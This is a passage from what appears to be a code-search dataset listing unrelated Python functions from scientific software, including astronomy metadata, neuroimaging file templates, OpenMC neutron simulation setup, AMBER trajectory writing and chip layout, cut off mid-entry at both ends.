outpline[0].split()[-1]\n \n self.meta = {}\n self.meta['module']= []\n self.meta['meta'] = []\n self.meta['input'] = []\n self.meta['output']= []\n self.meta['errorlist'] = []\n \n self.meta['module'].append(('module','name='+self.modName,'version='+__version__,'dataset='+self.obsName))\n self.meta['module'].append(('root',self.root))\n self.meta['meta'].append(('meta',))\n self.meta['meta'].append(('depend',))\n self.meta['meta'].append(('pkg',))\n self.meta['meta'].append(('name','python'))\n self.meta['meta'].append(('version',pyversion.split()[0]))\n self.meta['meta'].append(('pkg',))\n self.meta['meta'].append(('name','pyfits'))\n self.meta['meta'].append(('version',pyfits.__version__.split()[0]))\n self.meta['meta'].append(('pkg',))\n self.meta['meta'].append(('name','project_coords'))\n self.meta['meta'].append(('version',pcoorVer))\n self.meta['meta'].append(('pkg',))\n self.meta['meta'].append(('name','Guide Star Catalog'))\n self.meta['meta'].append(('version',_URL_.split(\"/\")[-1].split(\"q\")[0]))\n \n # SExtractor info\n sub = subprocess.Popen(['sex', '--version'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, close_fds=True)\n outp = sub.stdout.readlines()\n name = outp[0].split()[0]\n ver = outp[0].split()[2]\n self.meta['meta'].append(('pkg',))\n self.meta['meta'].append(('name',name))\n self.meta['meta'].append(('version',ver))\n cmdline1 = 'sex fitsfile -c self.InParFileName'\n self.meta['meta'].append(('commandline',cmdline1))\n del outp,sub,name,ver\n \n if self.errorList:\n self.meta['errorlist'].append(('errorlist',))\n for pkg,err in self.errorList:\n self.meta['errorlist'].append(('erroritem',err,'frompkg='+pkg))\n \n # input section\n self.meta['input'].append(('input',))\n for f in self.inputList:\n if string.find(f,\"_asn\") == -1:\n self.meta['input'].append(('file','type=image/x-fits'))\n self.meta['input'].append(('name',os.path.join(\"Images\",f)))\n else:\n self.meta['input'].append(('file','type=image/x-fits'))\n self.meta['input'].append(('name',os.path.join(\"Images\",f)))\n \n # output section\n if self.outputList:\n self.meta['output'].append(('output',))\n for f in self.outputList.keys():\n if string.find(f,\".xml\") == -1:\n self.meta['output'].append(('file','type=image/x-fits'))\n self.meta['output'].append(('name',os.path.join(\"Images\",f)))\n for pred in self.outputList[f]:\n self.meta['output'].append(('predecessor',os.path.join(\"Images\",pred)))\n else:\n self.meta['output'].append(('file','type=text/xml'))\n self.meta['output'].append(('name',os.path.join(\"Images\",f)))\n for pred in self.outputList[f]:\n self.meta['output'].append(('predecessor',os.path.join(\"Images\",pred)))\n \n # pass this dictionary to the class pMessage...\n msgFile = os.path.join(self.messagedir,self.modName+\"_module.xml\")\n mmsg = pMessage(self.meta)\n mmsg.writeMsg(msgFile)\n return","def create_field_template_dict(self, bids_atlas_label):\n if self.parcellation_scheme == \"NativeFreesurfer\":\n # fmt:off\n field_template = dict(\n diffusion=\"dwi/\" + self.subject + \"_desc-cmp_dwi.nii.gz\",\n bvecs=\"dwi/\" + self.subject + \"_desc-cmp_dwi.bvec\",\n bvals=\"dwi/\" + self.subject + \"_desc-cmp_dwi.bval\",\n T1=\"anat/\" + self.subject + \"_desc-head_T1w.nii.gz\",\n aseg=\"anat/\" + self.subject + \"_desc-aseg_dseg.nii.gz\",\n aparc_aseg=\"anat/\" + self.subject + \"_desc-aparcaseg_dseg.nii.gz\",\n brain=\"anat/\" + self.subject + \"_desc-brain_T1w.nii.gz\",\n brain_mask=\"anat/\" + self.subject + \"_desc-brain_mask.nii.gz\",\n wm_mask_file=\"anat/\" + self.subject + \"_label-WM_dseg.nii.gz\",\n wm_eroded=\"anat/\" + self.subject + \"_label-WM_dseg.nii.gz\",\n brain_eroded=\"anat/\" + self.subject + \"_desc-brain_mask.nii.gz\",\n csf_eroded=\"anat/\" + self.subject + \"_label-CSF_dseg.nii.gz\",\n roi_volume_s1=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_dseg.nii.gz\",\n roi_graphml_s1=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_dseg.graphml\",\n roi_volume_s2=\"anat/irrelevant.nii.gz\",\n roi_graphml_s2=\"anat/irrelevant.graphml\",\n roi_volume_s3=\"anat/irrelevant.nii.gz\",\n roi_graphml_s3=\"anat/irrelevant.graphml\",\n roi_volume_s4=\"anat/irrelevant.nii.gz\",\n roi_graphml_s4=\"anat/irrelevant.graphml\",\n roi_volume_s5=\"anat/irrelevant.nii.gz\",\n roi_graphml_s5=\"anat/irrelevant.graphml\",\n )\n # fmt:on\n elif self.parcellation_scheme == \"Custom\":\n # fmt:off\n field_template = dict(\n diffusion=\"dwi/\" + self.subject + \"_desc-cmp_dwi.nii.gz\",\n bvecs=\"dwi/\" + self.subject + \"_desc-cmp_dwi.bvec\",\n bvals=\"dwi/\" + self.subject + \"_desc-cmp_dwi.bval\",\n T1=\"anat/\" + self.subject + \"_desc-head_T1w.nii.gz\",\n aseg=\"anat/\" + self.subject + \"_desc-aseg_dseg.nii.gz\",\n aparc_aseg=\"anat/\" + self.subject + \"_desc-aparcaseg_dseg.nii.gz\",\n brain=\"anat/\" + self.subject + \"_desc-brain_T1w.nii.gz\",\n brain_mask=\"anat/\" + self.subject + \"_desc-brain_mask.nii.gz\",\n wm_mask_file=\"anat/\" + self.subject + \"_label-WM_dseg.nii.gz\",\n wm_eroded=\"anat/\" + self.subject + \"_label-WM_dseg.nii.gz\",\n brain_eroded=\"anat/\" + self.subject + \"_desc-brain_mask.nii.gz\",\n csf_eroded=\"anat/\" + self.subject + \"_label-CSF_dseg.nii.gz\",\n roi_volume_s1=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_dseg.nii.gz\",\n roi_graphml_s1=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_dseg.graphml\",\n roi_volume_s2=\"anat/irrelevant.nii.gz\",\n roi_graphml_s2=\"anat/irrelevant.graphml\",\n roi_volume_s3=\"anat/irrelevant.nii.gz\",\n roi_graphml_s3=\"anat/irrelevant.graphml\",\n roi_volume_s4=\"anat/irrelevant.nii.gz\",\n roi_graphml_s4=\"anat/irrelevant.graphml\",\n roi_volume_s5=\"anat/irrelevant.nii.gz\",\n roi_graphml_s5=\"anat/irrelevant.graphml\",\n )\n # fmt:on\n else:\n # fmt:off\n field_template = dict(\n diffusion=\"dwi/\" + self.subject + \"_desc-cmp_dwi.nii.gz\",\n bvecs=\"dwi/\" + self.subject + \"_desc-cmp_dwi.bvec\",\n bvals=\"dwi/\" + self.subject + \"_desc-cmp_dwi.bval\",\n T1=\"anat/\" + self.subject + \"_desc-head_T1w.nii.gz\",\n aseg=\"anat/\" + self.subject + \"_desc-aseg_dseg.nii.gz\",\n aparc_aseg=\"anat/\" + self.subject + \"_desc-aparcaseg_dseg.nii.gz\",\n brain=\"anat/\" + self.subject + \"_desc-brain_T1w.nii.gz\",\n brain_mask=\"anat/\" + self.subject + \"_desc-brain_mask.nii.gz\",\n wm_mask_file=\"anat/\" + self.subject + \"_label-WM_dseg.nii.gz\",\n wm_eroded=\"anat/\" + self.subject + \"_label-WM_dseg.nii.gz\",\n brain_eroded=\"anat/\" + self.subject + \"_desc-brain_mask.nii.gz\",\n csf_eroded=\"anat/\" + self.subject + \"_label-CSF_dseg.nii.gz\",\n roi_volume_s1=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_res-scale1_dseg.nii.gz\",\n roi_volume_s2=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_res-scale2_dseg.nii.gz\",\n roi_volume_s3=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_res-scale3_dseg.nii.gz\",\n roi_volume_s4=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_res-scale4_dseg.nii.gz\",\n roi_volume_s5=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_res-scale5_dseg.nii.gz\",\n roi_graphml_s1=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_res-scale1_dseg.graphml\",\n roi_graphml_s2=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_res-scale2_dseg.graphml\",\n roi_graphml_s3=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_res-scale3_dseg.graphml\",\n roi_graphml_s4=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_res-scale4_dseg.graphml\",\n roi_graphml_s5=\"anat/\" + self.subject + \"_atlas-\" + bids_atlas_label + \"_res-scale5_dseg.graphml\",\n )\n # fmt:on\n return field_template","def generate_skeleton(self, ci, qname):\n symbol_table = ci.epv.symbol_table\n cls = ci.co\n\n\n # Skeleton (in Chapel)\n self.pkg_chpl_skel.gen(ir.Import('.'.join(symbol_table.prefix)))\n\n self.pkg_chpl_skel.new_def('use sidl;')\n objname = '.'.join(ci.epv.symbol_table.prefix+[ci.epv.name]) + '_Impl'\n\n self.pkg_chpl_skel.new_def('extern record %s__object { var d_data: opaque; };'\n %qname)#,objname))\n self.pkg_chpl_skel.new_def('extern proc %s__createObject('%qname+\n 'd_data: int, '+\n 'out ex: sidl_BaseInterface__object)'+\n ': %s__object;'%qname)\n self.pkg_chpl_skel.new_def(ci.chpl_skel)\n\n\n # Skeleton (in C)\n cskel = ci.chpl_skel.cstub\n cskel._name = qname+'_Skel'\n cskel.gen(ir.Import('stdint'))\n cskel.gen(ir.Import('stdio'))\n cskel.gen(ir.Import(cskel._name))\n cskel.gen(ir.Import(qname+'_IOR'))\n cskel.gen(ir.Fn_defn([], ir.pt_void, qname+'__call_load', [],\n [ir.Comment(\"FIXME: [ir.Stmt(ir.Call('_load', []))\")], ''))\n\n # set_epv ... Setup the entry-point vectors (EPV)s\n #\n # there are 2*3 types of EPVs:\n # epv: regular methods\n # sepv: static methods\n # pre_(s)epv: pre-hooks\n # post_(s)epv: post-hooks\n epv_t = ci.epv.get_ir()\n sepv_t = ci.epv.get_sepv_ir()\n pre_epv_t = ci.epv.get_pre_epv_ir()\n pre_sepv_t = ci.epv.get_pre_sepv_ir()\n post_epv_t = ci.epv.get_post_epv_ir()\n post_sepv_t = ci.epv.get_post_sepv_ir()\n cskel.gen(ir.Fn_decl([], ir.pt_void, 'ctor', [], ''))\n cskel.gen(ir.Fn_decl([], ir.pt_void, 'dtor', [], ''))\n\n epv_init = []\n sepv_init = []\n for m in builtins+cls.get_methods():\n fname = m[2][1] + m[2][2]\n attrs = sidlir.method_method_attrs(m)\n static = member_chk(sidlir.static, attrs)\n def entry(stmts, epv_t, table, field, pointer):\n stmts.append(ir.Set_struct_item_stmt(epv_t, ir.Deref(table), field, pointer))\n\n if static: entry(sepv_init, sepv_t, 'sepv', 'f_'+fname, '%s_%s_skel'%(qname, fname))\n else: entry(epv_init, epv_t, 'epv', 'f_'+fname, '%s_%s_skel'%(qname, fname))\n\n builtin_names = ['_ctor', '_ctor2', '_dtor']\n with_hooks = member_chk(ir.hooks, attrs)\n if fname not in builtin_names and with_hooks:\n if static: entry(sepv_init, pre_sepv_t, 'pre_sepv', 'f_%s_pre'%fname, 'NULL')\n else: entry(epv_init, pre_epv_t, 'pre_epv', 'f_%s_pre'%fname, 'NULL')\n if static: entry(sepv_init, post_sepv_t, 'post_sepv', 'f_%s_post'%fname, 'NULL')\n else: entry(epv_init, post_epv_t, 'post_epv', 'f_%s_post'%fname, 'NULL')\n\n pkgname = '_'.join(ci.epv.symbol_table.prefix)\n\n dummyargv = '''\n char* argv[] = { \n babel_program_name,\n \"-nl\", /* number of locales */\n \"\",\n \"-v\", /* verbose chapel runtime */\n NULL\n };\n argv[2] = getenv(\"SLURM_NTASKS\");\n if (argv[2] == NULL) {\n fprintf(stdout, \"**ERROR: please set the SLURM_NTASKS environment variable\\\\n\"\n \" to the desired number of Chapel locales.\");\n argv[2] = \"0\";\n }\n int ignored = setenv(\"GASNET_BACKTRACE\", \"1\", 1);\n'''\n cskel.genh(ir.Import('stdlib'))\n cskel.pre_def('extern int chpl_init_library(int argc, char* argv[]);')\n cskel.pre_def('// You can set this to argv[0] in main() to get better debugging output')\n cskel.pre_def('char* __attribute__((weak)) babel_program_name = \"BRAID_LIBRARY\";')\n # These are now called by chpl_init_library -> chpl_gen_init\n #cskel.pre_def('extern void chpl__init_chpl__Program(int, const char*);')\n #cskel.pre_def('extern void chpl__init_%s_Impl(int, const char*);'%pkgname)\n init_code = [dummyargv,\n 'int locale_id = chpl_init_library(4, argv)',\n # 'chpl__init_chpl__Program(__LINE__, __FILE__)',\n # 'chpl__init_%s_Impl(__LINE__, __FILE__)'%pkgname\n ]\n init_code = map(lambda x: (ir.stmt, x), init_code)\n epv_init.extend(init_code)\n sepv_init.extend(init_code)\n\n cskel.gen(ir.Fn_defn(\n [], ir.pt_void, qname+'__set_epv',\n [ir.Arg([], ir.out, epv_t, 'epv'),\n ir.Arg([], ir.out, pre_epv_t, 'pre_epv'),\n ir.Arg([], ir.out, post_epv_t, 'post_epv')],\n epv_init, ''))\n\n if sepv_t:\n cskel.gen(ir.Fn_defn(\n [], ir.pt_void, qname+'__set_sepv',\n [ir.Arg([], ir.out, sepv_t, 'sepv'),\n ir.Arg([], ir.out, pre_sepv_t, 'pre_sepv'),\n ir.Arg([], ir.out, post_sepv_t, 'post_sepv')],\n sepv_init, ''))\n\n # C Skel\n for code in cskel.optional:\n cskel.new_global_def(code)\n cskel.write()","def _make_openmc_input(self):\n # Define material\n mat = openmc.Material()\n mat.add_nuclide(self.nuclide, 1.0)\n if self.thermal is not None:\n name, suffix = self.thermal.split('.')\n thermal_name = openmc.data.thermal.get_thermal_name(name)\n mat.add_s_alpha_beta(thermal_name)\n mat.set_density('g/cm3', self.density)\n materials = openmc.Materials([mat])\n if self.xsdir is not None:\n xs_path = (self.openmc_dir / 'cross_sections.xml').resolve()\n materials.cross_sections = str(xs_path)\n materials.export_to_xml(self.openmc_dir / 'materials.xml')\n\n # Set up geometry\n x1 = openmc.XPlane(x0=-1.e9, boundary_type='reflective')\n x2 = openmc.XPlane(x0=+1.e9, boundary_type='reflective')\n y1 = openmc.YPlane(y0=-1.e9, boundary_type='reflective')\n y2 = openmc.YPlane(y0=+1.e9, boundary_type='reflective')\n z1 = openmc.ZPlane(z0=-1.e9, boundary_type='reflective')\n z2 = openmc.ZPlane(z0=+1.e9, boundary_type='reflective')\n cell = openmc.Cell(fill=materials)\n cell.region = +x1 & -x2 & +y1 & -y2 & +z1 & -z2\n geometry = openmc.Geometry([cell])\n geometry.export_to_xml(self.openmc_dir / 'geometry.xml')\n\n # Define source\n source = openmc.Source()\n source.space = openmc.stats.Point((0,0,0))\n source.angle = openmc.stats.Isotropic()\n source.energy = openmc.stats.Discrete([self.energy], [1.])\n\n # Settings\n settings = openmc.Settings()\n if self._temperature is not None:\n settings.temperature = {'default': self._temperature}\n settings.source = source\n settings.particles = self.particles // self._batches\n settings.run_mode = 'fixed source'\n settings.batches = self._batches\n settings.create_fission_neutrons = False\n settings.export_to_xml(self.openmc_dir / 'settings.xml')\n \n # Define tallies\n energy_bins = np.logspace(np.log10(self._min_energy),\n np.log10(1.0001*self.energy), self._bins+1)\n energy_filter = openmc.EnergyFilter(energy_bins)\n tally = openmc.Tally(name='tally')\n tally.filters = [energy_filter]\n tally.scores = ['flux']\n tallies = openmc.Tallies([tally])\n tallies.export_to_xml(self.openmc_dir / 'tallies.xml')","def open_new(cls,\n fname,\n natom,\n box,\n crds=True,\n vels=False,\n frcs=False,\n remd=None,\n remd_dimension=None,\n title='',\n protocolWork=False,\n alchemicalLambda=False):\n inst = cls(fname, 'w')\n ncfile = inst._ncfile\n if remd is not None:\n if remd[0] in 'Tt':\n inst.remd = 'TEMPERATURE'\n elif remd[0] in 'Mm':\n inst.remd = 'MULTI'\n if remd_dimension is None:\n raise ValueError('remd_dimension must be given ' 'for multi-D REMD')\n inst.remd_dimension = int(remd_dimension)\n else:\n raise ValueError('remd must be T[emperature] or M[ultiD]')\n else:\n inst.remd = None\n inst.hasbox = bool(box)\n inst.hasvels = bool(vels)\n inst.hascrds = bool(crds)\n inst.hasfrcs = bool(frcs)\n\n inst.hasprotocolWork = bool(protocolWork)\n inst.hasalchemicalLambda = bool(alchemicalLambda)\n\n # Assign the main attributes\n ncfile.Conventions = \"AMBER\"\n ncfile.ConventionVersion = \"1.0\"\n ncfile.application = \"AmberTools\"\n ncfile.program = \"ParmEd\"\n ncfile.programVersion = parmed.__version__\n ncfile.title = \"ParmEd-created trajectory\"\n inst.Conventions = \"AMBER\"\n inst.ConventionVersion = \"1.0\"\n inst.application = \"AmberTools\"\n inst.program = \"ParmEd\"\n inst.programVersion = parmed.__version__\n inst.title = ncfile.title\n # Create the dimensions\n ncfile.createDimension('frame', None)\n ncfile.createDimension('spatial', 3)\n ncfile.createDimension('atom', natom)\n if inst.remd == 'MULTI':\n ncfile.createDimension('remd_dimension', inst.remd_dimension)\n inst.frame, inst.spatial, inst.atom = None, 3, natom\n if inst.hasbox:\n ncfile.createDimension('cell_spatial', 3)\n ncfile.createDimension('cell_angular', 3)\n ncfile.createDimension('label', 5)\n inst.cell_spatial, inst.cell_angular, inst.label = 3, 3, 5\n # Create the variables and assign units and scaling factors\n v = ncfile.createVariable('spatial', 'c', ('spatial', ))\n v[:] = np.asarray(list('xyz'))\n if inst.hasbox:\n v = ncfile.createVariable('cell_spatial', 'c', ('cell_spatial', ))\n v[:] = np.asarray(list('abc'))\n v = ncfile.createVariable('cell_angular', 'c', (\n 'cell_angular',\n 'label',\n ))\n v[:] = np.asarray([list('alpha'), list('beta '), list('gamma')])\n v = ncfile.createVariable('time', 'f', ('frame', ))\n v.units = 'picosecond'\n if inst.hascrds:\n v = ncfile.createVariable('coordinates', 'f', ('frame', 'atom', 'spatial'))\n v.units = 'angstrom'\n inst._last_crd_frame = 0\n if inst.hasvels:\n v = ncfile.createVariable('velocities', 'f', ('frame', 'atom', 'spatial'))\n v.units = 'angstrom/picosecond'\n inst.velocity_scale = v.scale_factor = 20.455\n inst._last_vel_frame = 0\n if nc is not None:\n v.set_auto_maskandscale(False)\n if inst.hasfrcs:\n v = ncfile.createVariable('forces', 'f', ('frame', 'atom', 'spatial'))\n v.units = 'kilocalorie/mole/angstrom'\n inst._last_frc_frame = 0\n if inst.hasbox:\n v = ncfile.createVariable('cell_lengths', 'd', ('frame', 'cell_spatial'))\n v.units = 'angstrom'\n v = ncfile.createVariable('cell_angles', 'd', ('frame', 'cell_angular'))\n v.units = 'degree'\n inst._last_box_frame = 0\n if inst.remd == 'TEMPERATURE':\n v = ncfile.createVariable('temp0', 'd', ('frame', ))\n v.units = 'kelvin'\n inst._last_remd_frame = 0\n elif inst.remd == 'MULTI':\n ncfile.createVariable('remd_indices', 'i', ('frame', 'remd_dimension'))\n ncfile.createVariable('remd_dimtype', 'i', ('remd_dimension', ))\n inst._last_remd_frame = 0\n\n inst._last_time_frame = 0\n\n if inst.hasprotocolWork:\n v = ncfile.createVariable('protocolWork', 'f', ('frame', ))\n v.units = 'kT'\n inst._last_protocolWork_frame = 0\n\n if inst.hasalchemicalLambda:\n v = ncfile.createVariable('alchemicalLambda', 'f', ('frame', ))\n v.units = 'unitless'\n inst._last_alchemicalLambda_frame = 0\n\n return inst","def open_new(cls,\n fname,\n natom,\n box,\n crds=True,\n vels=False,\n frcs=False,\n remd=None,\n remd_dimension=None,\n title='',\n protocolWork=False,\n alchemicalLambda=False):\n inst = cls(fname, 'w')\n ncfile = inst._ncfile\n if remd is not None:\n if remd[0] in 'Tt':\n inst.remd = 'TEMPERATURE'\n elif remd[0] in 'Mm':\n inst.remd = 'MULTI'\n if remd_dimension is None:\n raise ValueError('remd_dimension must be given ' 'for multi-D REMD')\n inst.remd_dimension = int(remd_dimension)\n else:\n raise ValueError('remd must be T[emperature] or M[ultiD]')\n else:\n inst.remd = None\n inst.hasbox = bool(box)\n inst.hasvels = bool(vels)\n inst.hascrds = bool(crds)\n inst.hasfrcs = bool(frcs)\n\n inst.hasprotocolWork = bool(protocolWork)\n inst.hasalchemicalLambda = bool(alchemicalLambda)\n\n # Assign the main attributes\n ncfile.Conventions = \"AMBER\"\n ncfile.ConventionVersion = \"1.0\"\n ncfile.application = \"AmberTools\"\n ncfile.program = \"ParmEd\"\n ncfile.programVersion = parmed.__version__\n ncfile.title = \"ParmEd-created trajectory\"\n inst.Conventions = \"AMBER\"\n inst.ConventionVersion = \"1.0\"\n inst.application = \"AmberTools\"\n inst.program = \"ParmEd\"\n inst.programVersion = parmed.__version__\n inst.title = ncfile.title\n # Create the dimensions\n ncfile.createDimension('frame', None)\n ncfile.createDimension('spatial', 3)\n ncfile.createDimension('atom', natom)\n if inst.remd == 'MULTI':\n ncfile.createDimension('remd_dimension', inst.remd_dimension)\n inst.frame, inst.spatial, inst.atom = None, 3, natom\n if inst.hasbox:\n ncfile.createDimension('cell_spatial', 3)\n ncfile.createDimension('cell_angular', 3)\n ncfile.createDimension('label', 5)\n inst.cell_spatial, inst.cell_angular, inst.label = 3, 3, 5\n # Create the variables and assign units and scaling factors\n v = ncfile.createVariable('spatial', 'c', ('spatial',))\n v[:] = np.asarray(list('xyz'))\n if inst.hasbox:\n v = ncfile.createVariable('cell_spatial', 'c', ('cell_spatial',))\n v[:] = np.asarray(list('abc'))\n v = ncfile.createVariable('cell_angular', 'c', (\n 'cell_angular',\n 'label',\n ))\n v[:] = np.asarray([list('alpha'), list('beta '), list('gamma')])\n v = ncfile.createVariable('time', 'f', ('frame',))\n v.units = 'picosecond'\n if inst.hascrds:\n v = ncfile.createVariable('coordinates', 'f', ('frame', 'atom', 'spatial'))\n v.units = 'angstrom'\n inst._last_crd_frame = 0\n if inst.hasvels:\n v = ncfile.createVariable('velocities', 'f', ('frame', 'atom', 'spatial'))\n v.units = 'angstrom/picosecond'\n inst.velocity_scale = v.scale_factor = 20.455\n inst._last_vel_frame = 0\n if nc is not None:\n v.set_auto_maskandscale(False)\n if inst.hasfrcs:\n v = ncfile.createVariable('forces', 'f', ('frame', 'atom', 'spatial'))\n v.units = 'kilocalorie/mole/angstrom'\n inst._last_frc_frame = 0\n if inst.hasbox:\n v = ncfile.createVariable('cell_lengths', 'd', ('frame', 'cell_spatial'))\n v.units = 'angstrom'\n v = ncfile.createVariable('cell_angles', 'd', ('frame', 'cell_angular'))\n v.units = 'degree'\n inst._last_box_frame = 0\n if inst.remd == 'TEMPERATURE':\n v = ncfile.createVariable('temp0', 'd', ('frame',))\n v.units = 'kelvin'\n inst._last_remd_frame = 0\n elif inst.remd == 'MULTI':\n ncfile.createVariable('remd_indices', 'i', ('frame', 'remd_dimension'))\n ncfile.createVariable('remd_dimtype', 'i', ('remd_dimension',))\n inst._last_remd_frame = 0\n\n inst._last_time_frame = 0\n\n if inst.hasprotocolWork:\n v = ncfile.createVariable('protocolWork', 'f', ('frame',))\n v.units = 'kT'\n inst._last_protocolWork_frame = 0\n\n if inst.hasalchemicalLambda:\n v = ncfile.createVariable('alchemicalLambda', 'f', ('frame',))\n v.units = 'unitless'\n inst._last_alchemicalLambda_frame = 0\n\n return inst","def New(*args, **kargs):\n obj = itkMeshSourceMF3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def reprojectQcew(overwrite=False):\n\n\tif exists(qcew_2913) and not overwrite:\n\t\tprint '\\nstate plane qcew already exists, if you wish to'\n\t\tprint 'overwrite the existing file use the \"overwrite\" flag\\n'\n\t\treturn\n\n\tgeom_type = 'POINT'\n\ttemplate = src_qcew\n\tospn = arcpy.SpatialReference(2913)\n\tmanagement.CreateFeatureclass(dirname(qcew_2913),\n\t\tbasename(qcew_2913), geom_type, template, spatial_reference=ospn)\n\n\ti_cursor = da.InsertCursor(qcew_2913, '*')\n\n\ts_fields = ['Shape@', '*']\n\twith da.SearchCursor(src_qcew, s_fields) as s_cursor:\n\t\t# replace point coordinates with geometry object in field\n\t\t# definition\n\t\tfields = list(s_cursor.fields)\n\t\tfields[1] = fields.pop(0)\n\n\t\tfor row in s_cursor:\n\t\t\tlist_row = list(row)\n\t\t\tlist_row[1] = list_row.pop(0)\n\t\t\td = OrderedDict(zip(fields, list_row))\n\n\t\t\tgeom = d['Shape@']\n\t\t\tgeom_2913 = geom.projectAs(ospn) \n\t\t\td['Shape@'] = geom_2913\n\t\t\td['POINT_X'] = geom_2913.firstPoint.X\n\t\t\td['POINT_Y'] = geom_2913.firstPoint.Y\n\n\t\t\twrite_row = [v for v in d.values()]\n\t\t\ti_cursor.insertRow(write_row)\n\n\tdel i_cursor","def __init__(\n self,\n name: str,\n createStepName: str,\n surface: Region,\n interactionProperty: str,\n enforcement: SymbolicConstant = SURFACE_TO_SURFACE,\n thickness: Boolean = ON,\n smooth: float = 0,\n contactControls: str = \"\",\n ):\n super().__init__()\n pass","def New(*args, **kargs):\n obj = itkLabelShapeOpeningImageFilterIUC3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def place_nwell_and_contact(self):\n # adds the contact from active to metal1\n well_contact_pos = self.upper_pmos1_inst.get_pin(\"D\").center().scale(1,0) \\\n + vector(0, self.upper_pmos1_inst.uy() + contact.well.height/2 + drc[\"well_extend_active\"])\n self.add_contact_center(layers=(\"active\", \"contact\", \"metal1\"),\n offset=well_contact_pos,\n implant_type=\"n\",\n well_type=\"n\")\n\n\n self.height = well_contact_pos.y + contact.well.height\n\n self.add_rect(layer=\"nwell\",\n offset=vector(0,0),\n width=self.width,\n height=self.height)"],"string":"[\n \"def create_ipk_3dcomponent_pcb(\\n self,\\n compName,\\n setupLinkInfo,\\n solutionFreq,\\n resolution,\\n PCB_CS=\\\"Global\\\",\\n rad=\\\"Nothing\\\",\\n extenttype=\\\"Bounding Box\\\",\\n outlinepolygon=\\\"\\\",\\n powerin=\\\"0W\\\",\\n custom_x_resolution=None,\\n custom_y_resolution=None,\\n ):\\n lowRad, highRad = self.get_radiation_settings(rad)\\n hfssLinkInfo = OrderedDict({})\\n arg2dict(self.get_link_data(setupLinkInfo), hfssLinkInfo)\\n\\n native_props = OrderedDict(\\n {\\n \\\"NativeComponentDefinitionProvider\\\": OrderedDict(\\n {\\n \\\"Type\\\": \\\"PCB\\\",\\n \\\"Unit\\\": self.modeler.model_units,\\n \\\"MovePlane\\\": \\\"XY\\\",\\n \\\"Use3DLayoutExtents\\\": False,\\n \\\"ExtentsType\\\": extenttype,\\n \\\"OutlinePolygon\\\": outlinepolygon,\\n \\\"CreateDevices\\\": False,\\n \\\"CreateTopSolderballs\\\": False,\\n \\\"CreateBottomSolderballs\\\": False,\\n \\\"Resolution\\\": int(resolution),\\n \\\"LowSide\\\": OrderedDict({\\\"Radiate\\\": lowRad}),\\n \\\"HighSide\\\": OrderedDict({\\\"Radiate\\\": highRad}),\\n }\\n )\\n }\\n )\\n native_props[\\\"BasicComponentInfo\\\"] = OrderedDict({\\\"IconType\\\": \\\"PCB\\\"})\\n\\n if custom_x_resolution and custom_y_resolution:\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"UseThermalLink\\\"] = solutionFreq != \\\"\\\"\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"CustomResolution\\\"] = True\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"CustomResolutionRow\\\"] = custom_x_resolution\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"CustomResolutionCol\\\"] = 600\\n # compDefinition += [\\\"UseThermalLink:=\\\", solutionFreq!=\\\"\\\",\\n # \\\"CustomResolution:=\\\", True, \\\"CustomResolutionRow:=\\\", custom_x_resolution,\\n # \\\"CustomResolutionCol:=\\\", 600]\\n else:\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"UseThermalLink\\\"] = solutionFreq != \\\"\\\"\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"CustomResolution\\\"] = False\\n # compDefinition += [\\\"UseThermalLink:=\\\", solutionFreq != \\\"\\\",\\n # \\\"CustomResolution:=\\\", False]\\n if solutionFreq:\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"Frequency\\\"] = solutionFreq\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"DefnLink\\\"] = hfssLinkInfo[\\\"DefnLink\\\"]\\n # compDefinition += [\\\"Frequency:=\\\", solutionFreq, hfssLinkInfo]\\n else:\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"Power\\\"] = powerin\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"DefnLink\\\"] = hfssLinkInfo[\\\"DefnLink\\\"]\\n # compDefinition += [\\\"Power:=\\\", powerin, hfssLinkInfo]\\n\\n native_props[\\\"TargetCS\\\"] = PCB_CS\\n native = NativeComponentObject(self, \\\"PCB\\\", compName, native_props)\\n if native.create():\\n self.modeler.primitives.refresh_all_ids()\\n self.materials._load_from_project()\\n self.native_components.append(native)\\n return native\\n return False\",\n \"def build(cmpd, density=0.5*u.gram/(u.cm**3), n_compounds=1000, \\n ff='ff/TraPPE_UA_3_fully_flexible_propane.xml'):\\n density.convert_to_units(u.kilogram/u.m**3)\\n\\n # Pack a box\\n box = mb.fill_box(cmpd, n_compounds=n_compounds, density=density.value)\\n\\n # Wrap coordinates\\n new_xyz = box.xyz - 1 * np.floor_divide(box.xyz, box.periodicity) * box.periodicity\\n box.xyz = new_xyz\\n\\n # Apply non-atomistic, custom element naming convention\\n for part in box.particles():\\n part.name = \\\"_\\\" + part.name\\n\\n # Utilize foyer to parametrize our box\\n ff = foyer.Forcefield(forcefield_files=ff)\\n box = box.to_parmed(infer_residues=True)\\n parametrized_structure = ff.apply(box, combining_rule='lorentz')\\n\\n # Dump initial coordinates\\n parametrized_structure.save('compound.pdb', overwrite=True)\\n parametrized_structure.save('compound.mol2', overwrite=True)\\n parametrized_structure.save('compound.gro', 